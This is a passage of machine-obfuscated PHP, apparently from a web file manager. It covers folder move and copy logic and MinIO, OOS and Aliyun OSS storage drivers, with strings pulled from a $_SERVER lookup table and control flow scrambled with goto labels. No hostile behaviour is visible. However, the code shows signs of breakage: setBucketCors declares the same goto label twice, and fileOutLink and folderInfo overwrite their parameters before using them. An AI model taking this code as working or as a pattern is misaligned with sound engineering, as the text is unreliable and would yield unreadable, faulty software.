$C[$bӴɶ[28]]); goto dߌ¿; FӍ֎: $CӒͭ = $e ? $e : $C[$bӴɶ[28]]; $this->lockMoveStart($Cۣ); $this->lockWriteStart($B, $CӒͭ); goto e; dߌ¿: $B䞊 = $this->_move($Cۣ, $B, $eԷ, $eΧ, $e); $this->sourceCacheClear(); if ($C[$bӴɶ[366]] == $bӴɶ[83] && $F) { $this->folderSizeResetChildren($B䞊); } goto D; C: Model($bӴɶ[501])->eventMove($Cۣ, $C[$bӴɶ[457]], $B); Hook::trigger($bӴɶ[528], $D); return $B䞊; goto d򑪪; dڠՌ: $this->lockWriteEnd($B, $CӒͭ); $this->folderSizeReset($C[$bӴɶ[457]]); $this->folderSizeReset($B); goto fʱ; Bʐ: $bӴɶ =& $_SERVER[ֹ]; $C = $this->sourceInfo($Cۣ); $c = $this->sourceInfo($B); goto E˯; E˯: $D = $this->pathInfoMore($Cۣ); if ($this->isParentOf($Cۣ, $B)) { return !1; } if (!$C || !$c || $c[$bӴɶ[366]] != $bӴɶ[83]) { return !1; } goto EՆҍ; d򑪪: } private function _move($F, $ẹӰ, $b䉥Ţ, &$bଶ١, $a׎ = '') { goto FΎ; f®쉎: $cАܜ = !1; if ($BϦ) { if ($b䉥Ţ == REPEAT_RENAME_FOLDER) { $cҩݎ = $this->fileNameAuto($ẹӰ, $cҩݎ, $b䉥Ţ, $BϦ); $d餐 = $this->_moveForce($F, $ẹӰ, $cҩݎ); } else { if ($b䉥Ţ == REPEAT_RENAME_FOLDER) { $b䉥Ţ = REPEAT_RENAME; } $bŽݍ = $this->_childrenListSelect($F); foreach ($bŽݍ as $B) { $this->_move($B[$dˋ[365]], $Aצ, $b䉥Ţ, $bଶ١); } $cАܜ = !0; } } else { if ($b䉥Ţ == REPEAT_SKIP) { $cАܜ = !0; } else { if ($b䉥Ţ == REPEAT_RENAME || $b䉥Ţ == REPEAT_RENAME_FOLDER) { $cҩݎ = $this->fileNameAuto($ẹӰ, $cҩݎ, $b䉥Ţ, $BϦ); $d餐 = $this->_moveForce($F, $ẹӰ, $cҩݎ); } else { if ($b䉥Ţ == REPEAT_REPLACE) { $Dڗ = $this->sourceInfoCache($Aצ); $c = $this->fileHistory($Dڗ, $c[$dˋ[415]], $c[$dˋ[77]]); if ($c) { $bଶ١[$dˋ[497]][] = $c[$dˋ[415]]; } else { $cАܜ = !0; } } } } } if ($cАܜ && !$bଶ١[$dˋ[529]]) { $bଶ١[$dˋ[529]] = !0; } goto Eذ; Bҳߠ: $cҩݎ = $a׎ ? $a׎ : $c[$dˋ[28]]; $Aצ = $this->fileNameExistCache($ẹӰ, $cҩݎ); $this->lockMoveStart($F); goto f; f: $this->lockWriteStart($ẹӰ, $cҩݎ); if (!$Aצ) { return $this->_moveForce($F, $ẹӰ, $cҩݎ); } $d餐 = $Aצ; goto f®쉎; FΎ: $dˋ =& $_SERVER[ֹ]; $c = $this->sourceInfo($F); $BϦ = $c[$dˋ[366]] == $dˋ[83]; goto Bҳߠ; Eذ: return $d餐; goto BIJ; BIJ: } private function _moveForce($D񢸿, $dՏ, $B،) { goto Fѥ; bб܌: if (!$C˥) { Model($A[450])->authClear($D񢸿); } $A͏ = $e[$A[393]] == $A[83] && $D[$A[393]] != $A[83]; if ($A͏) { $f[$A[392]] = 0; } goto D˻Ƽ; Fѥ: $A =& $_SERVER[ֹ]; $e = $this->sourceInfo($D񢸿); $D = $this->sourceInfo($dՏ); goto Eػ; Eػ: $c = $e[$A[366]] == $A[83]; $f = array($A[364] => $D[$A[365]], $A[521] => $D[$A[455]] . $D[$A[365]] . $A[47], $A[517] => $D[$A[367]], $A[518] => $D[$A[452]], $A[520] => USER_ID, $A[382] => $B،); $C˥ = $e[$A[367]] == SourceModel::TYPE_GROUP && $D[$A[367]] == SourceModel::TYPE_GROUP && $e[$A[452]] == $D[$A[452]]; goto bб܌; D˻Ƽ: if ($c) { $C = array($A[521] => array($A[479], $e[$A[455]] . $e[$A[365]] . $A[480])); $cݰ = $e[$A[455]] . $e[$A[365]] . $A[47]; $c = $D[$A[455]] . $D[$A[365]] . $A[47] . $e[$A[365]] . $A[47]; $d¨ = array($A[521] => array($A[530], "\162\145\x70\x6c\141\x63\145\50\160\x61\162\x65\156\164\114\x65\166\145\x6c\54\47{$cݰ}\x27\54\x27{$c}\x27\x29"), $A[517] => $D[$A[367]], $A[518] => $D[$A[452]]); if ($A͏) { $d¨[$A[392]] = 0; } $this->where($C)->data($d¨)->save(); } $this->where(array($A[379] => $D񢸿))->data($f)->save(); return $D񢸿; goto a۠; a۠: } private function clearShare($A䃘˼, $F) { goto C; dԱ: if (!$EǢܢ) { return; } $bՅ = array($dŃ[365] => array($dŃ[7], $EǢܢ), $dŃ[444] => 1); $Aџ = Model($dŃ[532])->field($dŃ[437])->where($bՅ)->select(); goto d; d: if (!$Aџ) { return; } $Aџ = array_to_keyvalue($Aџ, $dŃ[33], $dŃ[437]); $bՅ = array($dŃ[437] => array($dŃ[7], $Aџ)); goto BО; C: $dŃ =& $_SERVER[ֹ]; $e = $this->sourceInfo($A䃘˼); $E˘⣯ = $this->sourceInfo($F); goto fՇ; fՇ: if ($e[$dŃ[452]] == $E˘⣯[$dŃ[452]] && $e[$dŃ[367]] == $dŃ[531]) { return; } $bՅ = array($dŃ[455] => array($dŃ[479], $e[$dŃ[455]] . $A䃘˼ . $dŃ[480])); $EǢܢ = $this->field($dŃ[379])->where($bՅ)->getField($dŃ[365], !0); goto dԱ; BО: Model($dŃ[532])->where($bՅ)->save(array($dŃ[444] => 0)); Model($dŃ[533])->where($bՅ)->delete(); goto F; F: } public function copyFolderFromIO($aǏ, $Fϐ𭂍, $Eʔ, $F袷, $B, $a = false) { goto dћ; C֓ş: $this->updateModifyTime($Eʔ); return $C; goto fؠ; eͲŜ: Model($eжχ[418])->linkAdd($e[$eжχ[497]]); Model($eжχ[418])->remove($e[$eжχ[534]]); $this->folderSizeReset($Eʔ); goto C֓ş; Eڱޢ: $B = $this->fileNameExist($Eʔ, $a); $C = $this->mkdir($Eʔ, $a, $F袷); if (!$B || $F袷 == REPEAT_RENAME_FOLDER) { $F袷 = !1; } goto B; bŵ쌚: Hook::trigger($eжχ[536]); if ($C) { $this->folderSizeResetChildren($C); } $this->_childrenListClear(); goto BЉʦ; B: if ($B) { $this->_childrenAllMake($B); } Hook::trigger($eжχ[535]); $this->_copyChildTo($aǏ, $Fϐ𭂍, $C, $F袷, $e, $B); goto bŵ쌚; BЉʦ: Model($eжχ[500])->addAll($e[$eжχ[498]], array(), !0); Model($eжχ[501])->eventCopy($C); $this->saveAll($e[$eжχ[499]]); goto eͲŜ; dћ: $eжχ =& $_SERVER[ֹ]; $e = array($eжχ[498] => array(), $eжχ[499] => array(), $eжχ[497] => array(), $eжχ[534] => array()); $a = $a ? $a : $aǏ->getPathName($aǏ->pathThis($Fϐ𭂍)); goto Eڱޢ; fؠ: } private function _copyChildTo($cЎ, $eȈ, $c͑Ϝ, $b⻡뉋, &$d߹, $cDZ) { goto a; fᘋ: $Bմ = $this->_childrenList($c͑Ϝ); $Bմ = array_to_keyvalue($Bմ, $F[28]); foreach ($cċ as $cښ) { $bˈ = $Bմ[$cښ[$F[28]]]; $E艛DŽ = $bˈ[$F[365]]; $this->_copyApplyMeta($bˈ, $d߹); if ($cښ[$F[29]] == $F[76]) { $cښ[$F[75]] = $cЎ->getPathInner($cښ[$F[75]]); $this->_copyChildTo($cЎ, $cښ[$F[75]], $E艛DŽ, $b⻡뉋, $d߹, $cDZ); } } goto A㰨; a: $F =& $_SERVER[ֹ]; $E隌 = $this->sourceInfoCache($c͑Ϝ); $E = $cЎ->listPath($eȈ, !1, !0); goto C; dɈ: foreach ($cċ as &$cښ) { goto EÎ; EÎ: if (isset($Dї蜛[$cښ[$F[28]]])) { $cښ = $Dї蜛[$cښ[$F[28]]]; } $cښ[$F[366]] = $cښ[$F[29]] == $F[76]; $cښ[$F[368]] = _get($cښ, $F[156], $F[33]); goto Eވ͑; a҆: if ($b⻡뉋) { $CȻ = $this->fileNameExistCache($c͑Ϝ, $cښ[$F[28]]); if ($CȻ) { if ($cښ[$F[366]] || $b⻡뉋 == REPEAT_SKIP) { continue; } if ($b⻡뉋 == REPEAT_REPLACE) { $bˈ = $this->sourceInfoCache($CȻ); $D׌ = $this->fileHistory($bˈ, $cښ[$F[415]], $cښ[$F[77]]); if ($D׌) { $d߹[$F[497]][] = $cښ[$F[415]]; } continue; } else { if ($b⻡뉋 == REPEAT_RENAME) { $cښ[$F[28]] = $this->fileNameAutoCache($c͑Ϝ, $cښ[$F[28]], $b⻡뉋, !1); } } } } if (!$cښ[$F[366]] && $cښ[$F[415]]) { $d߹[$F[497]][] = $cښ[$F[415]]; } $b[] = $this->_makeItemData($cښ, $E隌, $cښ[$F[28]]); goto cδܘ; Eވ͑: $cښ[$F[77]] = _get($cښ, $F[77], 0); $cښ[$F[415]] = _get($cښ, $F[415], 0); if (!isset($cښ[$F[537]]) && $cښ[$F[415]]) { $d߹[$F[534]][] = $cښ[$F[415]]; } goto a҆; cδܘ: } unset($cښ); if (!empty($b)) { $this->addAll($b); } goto fᘋ; C: $cċ = array_merge($E[$F[73]], $E[$F[74]]); $Dї蜛 = $this->_addFiles($cЎ, $E[$F[73]], $cDZ); $b = array(); goto dɈ; A㰨: } private function _addFiles($F, $e⊦, $dŰ͝) { goto C; c浑: foreach ($cį as $FƯ䷧݅) { if (!isset($eÅݙ[$FƯ䷧݅[$dٛ[159]]])) { continue; } $A =& $eÅݙ[$FƯ䷧݅[$dٛ[159]]]; foreach ($A as &$Flj) { $Flj[$dٛ[415]] = $FƯ䷧݅[$dٛ[415]]; } unset($Flj); } $A먰Є = array(); foreach ($e⊦ as $c) { $A먰Є[$c[$dٛ[28]]] = $c; } goto Aҏ; C: $dٛ =& $_SERVER[ֹ]; if (!$e⊦ || count($e⊦) == 0) { return array(); } $eÅݙ = array(); goto b˻; E: $f = array($dٛ[159] => array($dٛ[7], array_keys($eÅݙ))); $cį = $D->where($f)->select(); $cį = $cį ? $cį : array(); goto c浑; D: $a֑Գ = array(); foreach ($e⊦ as $A̘) { if (isset($A̘[$dٛ[537]]) && $A̘[$dٛ[537]]) { continue; } $b = $F->getPathInner($A̘[$dٛ[75]]); $bô = $D->addFileMake($b, $A̘[$dٛ[77]], $A̘[$dٛ[160]], $A̘[$dٛ[159]], $A̘[$dٛ[28]], $dŰ͝); $a֑Գ[] = $bô; } $D->addAll($a֑Գ); goto E; Aҏ: return $A먰Є; goto cƑ; f: $cį = $D->where($f)->select(); $cį = $cį ? $cį : array(); foreach ($cį as $FƯ䷧݅) { if (!isset($eÅݙ[$FƯ䷧݅[$dٛ[159]]])) { continue; } $BѠѴ = $eÅݙ[$FƯ䷧݅[$dٛ[159]]]; foreach ($BѠѴ as &$Flj) { $Flj[$dٛ[415]] = $FƯ䷧݅[$dٛ[415]]; $Flj[$dٛ[537]] = !0; } unset($Flj); } goto D; b˻: foreach ($e⊦ as &$Flj) { goto F̻; E˴: if (count($eÅݙ[$a䷇]) > 1) { $Flj[$dٛ[537]] = !0; } goto dɻۘ; cٞӒ: $Flj[$dٛ[159]] = $a䷇; Hook::trigger($dٛ[539], $Flj); $eÅݙ[$a䷇][] =& $Flj; goto E˴; e͋: $a䷇ = $F->hashMd5($Flj[$dٛ[75]]); if (strlen($a䷇) > 10 && !isset($eÅݙ[$a䷇])) { $eÅݙ[$a䷇] = array(); } $Flj[$dٛ[160]] = $D; goto cٞӒ; F̻: Hook::trigger($dٛ[538], $Flj); $Flj[$dٛ[75]] = $F->getPathInner($Flj[$dٛ[75]]); $D = $F->hashSimple($Flj[$dٛ[75]]); goto e͋; dɻۘ: } $f = array($dٛ[159] => array($dٛ[7], array_keys($eÅݙ))); $D = Model($dٛ[540]); goto f; cƑ: } } define($_SERVER[ֹ][541], $_SERVER[ֹ][542]); goto Fދ; Fͤ: class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($DǙ) { parent::__construct($DǙ); $this->signatureVersion($_SERVER[ֹ][196]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($dԤ) { parent::__construct($dԤ); $this->signatureVersion($_SERVER[ֹ][196]); } public function fileOutLink($F) { $F =& $_SERVER[ֹ]; if (substr($F, 0, 7) == $F[1102]) { $F = $F[1103] . substr($F, 7); } header($F[152] . $F); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public function __construct($Eض) { parent::__construct(); include_once SDK_DIR . $_SERVER[ֹ][1157]; $this->_init($Eض); } public function _init($bά) { foreach ($bά as $dܗ㤝 => $CLJ) { if (isset($this->{$dܗ㤝})) { $this->{$dܗ㤝} = $CLJ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { show_json($_SERVER[ֹ][1158], !1); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { goto A; A: $BѰ =& $_SERVER[ֹ]; $C = new OSS\Model\CorsConfig(); $fڃ = new OSS\Model\CorsRule(); goto Eږ; b: $fڃ->setMaxAgeSeconds(600); $fڃ->addExposeHeader($BѰ[1164]); $fڃ->addAllowedHeader($BѰ[1159]); goto b; Eږ: $fڃ->addAllowedOrigin($BѰ[1159]); $fڃ->addAllowedMethod($BѰ[1160]); $fڃ->addAllowedMethod($BѰ[1161]); goto a̔; b: $C->addRule($fڃ); try { $this->client->putBucketCors($this->bucket, $C); } catch (OSS\Core\OssException $D) { return !1; } return !0; goto eǛ; a̔: $fڃ->addAllowedMethod($BѰ[1162]); $fڃ->addAllowedMethod($BѰ[1163]); $fڃ->addAllowedMethod($BѰ[151]); goto b; eǛ: } public function getBucketCors() { goto Fމϸ; D: $Bľ = $A˖[0]->getMaxAgeSeconds(); $d域 = $A˖[0]->getExposeHeaders(); $B = $A˖[0]->getAllowedHeaders(); goto Aßڍ; E: if (!$f։ || !($A˖ = $f։->getRules())) { return null; } $fDZ = $A˖[0]->getAllowedOrigins(); $d = $A˖[0]->getAllowedMethods(); goto D; Aßڍ: return array($D[171] => isset($fDZ[0]) ? $fDZ[0] : $D[33], $D[175] => $d, $D[1165] => $Bľ, $D[1166] => isset($d域[0]) ? $d域[0] : $D[33], $D[173] => isset($B[0]) ? $B[0] : $D[33]); goto f鹘; Fމϸ: $D =& $_SERVER[ֹ]; $f։ = null; try { $f։ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $Aʪ춻) { return null; } goto E; f鹘: } public function isBucketCors() { goto F웒; F웒: $bۍώ =& $_SERVER[ֹ]; $FѠ฻ = $this->getBucketCors(); if (!$FѠ฻ || !is_array($FѠ฻)) { return !1; } goto FᏪ; E: $Eܚ = array($bۍώ[176], $bۍώ[177], $bۍώ[178], $bۍώ[179], $bۍώ[180]); $D = array_diff($Eܚ, $F); return empty($D); goto Bɜ; FᏪ: if ($FѠ฻[$bۍώ[171]] != $bۍώ[172] || $FѠ฻[$bۍώ[173]] != $bۍώ[172]) { return !1; } $F = array_map($bۍώ[174], $FѠ฻[$bۍώ[175]]); if (!is_array($F)) { $F = array(); } goto E; Bɜ: } public function mkfile($E, $e = '', $b = REPEAT_RENAME) { $Aꡊ = $this->setContent($E, $e); if ($Aꡊ !== !1) { return $this->getPathOuter($E); } return !1; } public function mkdir($Cɢ˔, $E늋 = REPEAT_SKIP) { if ($this->_isFolder($Cɢ˔)) { return $this->getPathOuter($Cɢ˔); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($Cɢ˔)); } catch (OSS\Core\OssException $b밓) { return !1; } return $this->getPathOuter($Cɢ˔); } private function fileList($F먩, $Cƙֆ = '', $Bѵ = 0) { goto A; Aдܞ: $F޽ = $Cԥ[33]; $Aޛ = 1000; $fА = $f = array(); goto a͈Ń; a͈Ń: while (!0) { $Bć͂۸ = array($Cԥ[1167] => $Cƙֆ, $Cԥ[182] => $cϺƤ, $Cԥ[1168] => $Aޛ, $Cԥ[1169] => $F޽); try { $D䵪 = $this->client->listObjects($this->bucket, $Bć͂۸); } catch (OSS\Core\OssException $Dǂ쎯) { break; } $F޽ = $D䵪->getNextMarker(); $cΖ = $D䵪->getObjectList(); $e폵̋ = $D䵪->getPrefixList(); foreach ($cΖ as $Dδ) { if ($Dδ->getKey() == $cϺƤ) { continue; } $C̝ = $Dδ->getKey(); if ($Bѵ) { $C̝ = array($Cԥ[28] => $C̝, $Cԥ[77] => $Dδ->getSize(), $Cԥ[186] => strtotime($Dδ->getLastModified())); } $f[] = $C̝; } foreach ($e폵̋ as $bÖު) { $fА[] = $bÖު->getPrefix(); } if ($F޽ === $Cԥ[33]) { break; } } return array($Cԥ[74] => $fА, $Cԥ[73] => $f); goto Dݷ; A: $Cԥ =& $_SERVER[ֹ]; $F먩 = trim($F먩, $Cԥ[8]); $cϺƤ = empty($F먩) ? $Cԥ[33] : $F먩 . $Cԥ[8]; goto Aдܞ; Dݷ: } public function copyFile($Fԥو, $f) { $Aֆ = $this->size($Fԥو); if ($Aֆ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $Fԥو, $this->bucket, $this->pathEncode($f)); } catch (OSS\Core\OssException $a) { return !1; } return !0; } return $this->multiCopyObject($Fԥو, $f, $Aֆ); } private function multiCopyObject($e, $Fջ, $bⰑ) { $aשچ޾ =& $_SERVER[ֹ]; try { goto f; D: $FΪ = 1024 * 1024 * 10; $e鏅Տ = $this->client->generateMultiuploadParts($bⰑ, $FΪ); foreach ($e鏅Տ as $FƋ => $Eܭݕ) { $e򑭺 = $b + (int) $Eܭݕ[$aשچ޾[1171]]; $cﯪ = (int) $Eܭݕ[$aשچ޾[321]] + $e򑭺 - 1; $dø = array($aשچ޾[1172] => $e򑭺, $aשچ޾[1173] => $cﯪ); $dׅ[] = $this->client->uploadPartCopy($this->bucket, $e, $this->bucket, $this->pathEncode($Fջ), $aσ, $cֱ, $dø); $aσ = $aσ + 1; } goto b򮈼ͬ; C鸵: $aσ = 1; $b = 0; $dׅ = array(); goto D; b򮈼ͬ: $A = array(); foreach ($dׅ as $FƋ => $B߄) { $A[] = array($aשچ޾[1174] => $FƋ + 1, $aשچ޾[1175] => $B߄); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($Fջ), $cֱ, $A); goto F; f: $cآ = array(); if ($f = $this->hashMd5($e)) { $cآ = array(OSS\OssClient::OSS_HEADERS => array($aשچ޾[1170] => $f)); } $cֱ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($Fջ), $cآ); goto C鸵; F: } catch (OSS\Core\OssException $fԐ) { return !1; } return !0; } public function moveFile($d䔠ߴ, $eܫ) { if ($this->copyFile($d䔠ߴ, $eܫ)) { $this->remove($d䔠ߴ); return !0; } return !1; } public function delFile($bˎ) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($bˎ)); } catch (OSS\Core\OssException $d啺֥) { return !1; } return !0; } public function delFolder($Bٜ) { $Dи =& $_SERVER[ֹ]; $E = $this->fileList($Bٜ); if (!empty($Bٜ) && !in_array(trim($Bٜ, $Dи[8]) . $Dи[8], $E[$Dи[73]])) { $E[$Dи[73]][] = trim($Bٜ, $Dи[8]) . $Dи[8]; } foreach (array_chunk($E[$Dи[73]], 1000) as $dڮ) { try { $this->client->deleteObjects($this->bucket, $dڮ); } catch (OSS\Core\OssException $Aӂӌ) { continue; } } return !0; } public function rename($CỊ, $c) { return $this->renameObject($CỊ, $c); } private function fileInfo($Fؑ, $Aߓ = array()) { goto e; fۻ: if (isset($Aߓ[$C֡[77]])) { $DƏφ[$C֡[77]] = $Aߓ[$C֡[77]]; } if (isset($Aߓ[$C֡[106]])) { $DƏφ[$C֡[106]] = $Aߓ[$C֡[106]]; } if (isset($Aߓ[$C֡[186]]) && !trim($DƏφ[$C֡[106]])) { $DƏφ[$C֡[106]] = $Aߓ[$C֡[186]]; } goto F̝ۤ; e: $C֡ =& $_SERVER[ֹ]; $DƏφ = array($C֡[28] => $this->pathThis($Fؑ), $C֡[75] => $this->getPathOuter($Fؑ), $C֡[29] => $C֡[163], $C֡[183] => 0, $C֡[106] => 0, $C֡[77] => 0, $C֡[156] => $this->ext($Fؑ), $C֡[184] => !0, $C֡[185] => !0); if (empty($Aߓ)) { $E͝ = $this->objectMeta($Fؑ); if (!$E͝) { return $DƏφ; } $Aߓ = array($C֡[106] => strtotime($E͝[$C֡[1176]]), $C֡[77] => $E͝[$C֡[1177]] + 0); } goto fۻ; F̝ۤ: return $DƏφ; goto BĨ; BĨ: } private function folderInfo($aк, $f߇ = array()) { $d =& $_SERVER[ֹ]; $d = array($d[28] => $this->pathThis($aк), $d[75] => $this->getPathOuter($d[8] . $aк), $d[29] => $d[76], $d[183] => 0, $d[106] => 0, $d[184] => !0, $d[185] => !0); if (empty($f߇)) { $aк = rtrim($aк, $d[8]) . $d[8]; $BçͶ = $this->objectMeta($aк); if (!$BçͶ) { return $d; } $f߇ = array($d[183] => $BçͶ[$d[1178]][$d[1179]], $d[106] => strtotime($BçͶ[$d[1176]])); } if (isset($f߇[$d[106]])) { $d[$d[106]] = $f߇[$d[106]]; } if (isset($f߇[$d[183]])) { $d[$d[183]] = $f߇[$d[183]]; } return $d; } public function listPath($Cܘ, $f = false) { $eΧ =& $_SERVER[ֹ]; $B󉆼 = $this->fileList($Cܘ, $eΧ[8], !0); foreach ($B󉆼[$eΧ[74]] as $Dčׄ => $Fڹ) { $B󉆼[$eΧ[74]][$Dčׄ] = $this->folderInfo($Fڹ, $Fڹ); } foreach ($B󉆼[$eΧ[73]] as $Dčׄ => $Fڹ) { $B󉆼[$eΧ[73]][$Dčׄ] = $this->fileInfo($Fڹ[$eΧ[28]], $Fڹ); } return $B󉆼; } public function has($cѦг, $dދ = false, $c = true) { goto eÅ; e膨ʢ: return !1; goto c; e: $a = $dޏ܂[33]; $f = 500; $Bۊ = 0; goto e֚; eÅ: $dޏ܂ =& $_SERVER[ֹ]; $cѦг = trim($cѦг, $dޏ܂[8]); $fݿ͜ = empty($cѦг) ? $dޏ܂[33] : $cѦг . $dޏ܂[8]; goto e; e֚: $d = 0; while (!0) { $Dˇ = array($dޏ܂[1167] => $dޏ܂[8], $dޏ܂[182] => $fݿ͜, $dޏ܂[1168] => $f, $dޏ܂[1169] => $a); try { $D靉 = $this->client->listObjects($this->bucket, $Dˇ); } catch (OSS\Core\OssException $bŐԶ) { break; } $a = $D靉->getNextMarker(); $Cښ = $D靉->getObjectList(); $A˄٦ = $D靉->getPrefixList(); if ($dދ) { if (count($Cښ) > 1 || count($Cښ) == 1 && $Cښ[0]->getKey() != $fݿ͜) { $Bۊ += count($Cښ) - 1; } if (!empty($A˄٦)) { $d += count($A˄٦); } if ($a === $dޏ܂[33]) { break; } continue; } if ($c) { if (!empty($Cښ)) { if (count($Cښ) > 1 || $Cښ[0]->getKey() != $fݿ͜) { return !0; } } } else { if (!empty($A˄٦)) { return !0; } } if ($a === $dޏ܂[33]) { break; } } if ($dދ) { return array($dޏ܂[187] => $Bۊ, $dޏ܂[188] => $d); } goto e膨ʢ; c: } public function listAll($EÎ߶) { $A =& $_SERVER[ֹ]; $f͘ = $this->fileList($EÎ߶, $A[33], !0); $c = array(); foreach ($f͘[$A[73]] as $D) { $c[$D[$A[28]]] = $D[$A[77]]; } return $this->listAllFiles($EÎ߶, array_keys($c), $c); } public function canRead($f) { $C =& $_SERVER[ֹ]; $eґ = $this->pathAcl($f); return $eґ == $C[1180] || $eґ == $C[487] ? !0 : !1; } public function canWrite($D) { $B֒틏 = $this->pathAcl($D); return $B֒틏 == $_SERVER[ֹ][487] ? !0 : !1; } public function pathAcl($B͢箠) { goto B݄; Bራ: return $eҍ; goto c; Dː: $eҍ = $C鐐 == $b[34] ? $this->bucketAcl : $C鐐; if ($eҍ == $b[1181]) { return $b[1180]; } if ($eҍ == $b[1182]) { return $b[487]; } goto Bራ; B݄: $b =& $_SERVER[ֹ]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $C鐐 = $this->client->getObjectAcl($this->bucket, $this->pathEncode($B͢箠)); } catch (OSS\Core\OssException $Dю) { return !1; } goto Dː; c: } private function chmodPath($aݍ, $Aܗ = '') { $fˍћ =& $_SERVER[ֹ]; $B = empty($Aܗ) ? $fˍћ[1182] : $Aܗ; $aɸª = array($fˍћ[34], $fˍћ[181], $fˍћ[1181], $fˍћ[1182]); if (!in_array($B, $aɸª)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($aݍ), $B); } catch (OSS\Core\OssException $Bɚ) { return !1; } return !0; } public function getContent($Aʍτ) { return $this->fileSubstr($Aʍτ, -1); } public function setContent($C, $F = '') { $Dӫ =& $_SERVER[ֹ]; try { $c = $this->trafficLimit($Dӫ[1183]); $dѤ = $this->client->putObject($this->bucket, $this->pathEncode($C), $F, $c); } catch (OSS\Core\OssException $Dū) { return !1; } $Cȷ = array($Dӫ[1170] => trim($dѤ[$Dӫ[1184]], $Dӫ[112]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($C))); $this->updateObjMeta($C, $Cȷ); return isset($dѤ[$Dӫ[1185]][$Dӫ[1132]]) ? (int) $dѤ[$Dӫ[1185]][$Dӫ[1132]] : strlen($dѤ); } private function updateObjMeta($a໒, $f) { $a໒ = $this->pathEncode($a໒); try { $AǞ = array(OSS\OssClient::OSS_HEADERS => $f); $this->client->copyObject($this->bucket, $a໒, $this->bucket, $a໒, $AǞ); } catch (OSS\Core\OssException $eه) { return !1; } return !0; } public function upload($eꠎܳ, $D퓌, $eġ = false, $bī = REPEAT_REPLACE) { $Bݝӵ =& $_SERVER[ֹ]; $E = trim($eꠎܳ, $Bݝӵ[8]); $E޻ȼ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($Bݝӵ[1170] => @md5_file($D퓌)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($eꠎܳ))); $E޻ȼ = $this->trafficLimit($Bݝӵ[1183], $E޻ȼ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($E), $D퓌, $E޻ȼ); } catch (OSS\Core\OssException $c) { return !1; } return $this->getPathOuter($eꠎܳ); } public function getHost() { $d =& $_SERVER[ֹ]; $c = explode($d[167], parent::getHost()); return $c[0] . $d[167] . $this->bucket . $d[91] . $c[1]; } public function uploadFormData($dΑ, $EʺĄ = 3600) { goto e; e˃ŷ: $b깲 = $this->pathFather($dΑ); $Cι = array($FԊ[1089] => $EҼ, $FԊ[1090] => array(array($FԊ[1188], 0, $F۾˩), array($FԊ[1093], $FԊ[1094], $b깲))); $B = base64_encode(json_encode($Cι)); goto aݧ; E: $aц = strpos($EҼ, $FԊ[280]); $EҼ = substr($EҼ, 0, $aц) . $FԊ[1187]; $F۾˩ = 1048576000 * 5; goto e˃ŷ; Cӵ: return $A; goto fڳ; e: $FԊ =& $_SERVER[ֹ]; if (!($a̿ = $this->getHost())) { return !1; } $eð = $EʺĄ; goto D; D: $E훉 = date($FԊ[1186], time() + $eð); $fˑˆ = new DateTime($E훉); $EҼ = $fˑˆ->format(DateTime::ISO8601); goto E; aݧ: $FͶ = base64_encode(hash_hmac($FԊ[214], $B, $this->secret, !0)); $A = array($FԊ[1099] => $B, $FԊ[1189] => $this->accessKey, $FԊ[1095] => $FԊ[1087], $FԊ[1190] => $FͶ, $FԊ[165] => $a̿); $A = $this->trafficLimit($FԊ[1183], $A); goto Cӵ; fڳ: } public function multiUploadFormData($b˅̳, $c׶ = 3600) { $B鉓 =& $_SERVER[ֹ]; if (!($aٗΠ = $this->getHost())) { return !1; } $Bԧ͇ = $this->trafficLimit($B鉓[1183]); $bɇ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($b˅̳), $Bԧ͇); return array($B鉓[205] => $bɇ, $B鉓[165] => $aٗΠ . $B鉓[8] . $this->pathEncode($b˅̳), $B鉓[206] => gmdate($B鉓[1191]), $B鉓[89] => $b˅̳); } public function multiUploadAuthData($fл, $BǾф = array()) { goto E; E: $f =& $_SERVER[ֹ]; $aƵ = isset($BǾф[$f[206]]) ? $BǾф[$f[206]] : gmdate($f[1191]); $Bϻó = isset($BǾф[$f[156]]) ? $BǾф[$f[156]] : $f[33]; goto f͚; D: $dʚ = $f[1194] . $this->accessKey . $f[4] . $d; if (strpos($Bϻó, $f[209]) === 0) { $dʚ = array($f[216] => $dʚ, $f[206] => $aƵ); if ($cԂ) { $dʚ = array_merge($dʚ, $cԂ); } } return $dʚ; goto cᤛ; d׎: if (!empty($BǾф[$f[1193]])) { $bė = array_merge(array($aޛؑ[4]), $BǾф[$f[1193]]); sort($bė); $aޛؑ[4] = implode($f[213], $bė); } $E = implode($f[213], $aޛؑ); $d = base64_encode(hash_hmac($f[214], $E, $this->secret, !0)); goto D; e: $aޛؑ = array($f[208], $f[33], $f[115], $aƵ, "\x78\x2d\157\163\x73\x2d\x64\x61\164\x65\x3a{$aƵ}", $f[8] . $this->bucket . $f[8] . $dꐜ . $Bϻó); if (strpos($Bϻó, $f[209]) === 0) { $aޛؑ[0] = $f[210]; if ($cԂ = $this->trafficLimit($f[1183])) { $dꐜ = $f[1192]; array_splice($aޛؑ, 5, 0, $dꐜ . $f[4] . $cԂ[$dꐜ]); } } if (isset($BǾф[$f[211]]) && $BǾф[$f[211]] == $f[212]) { 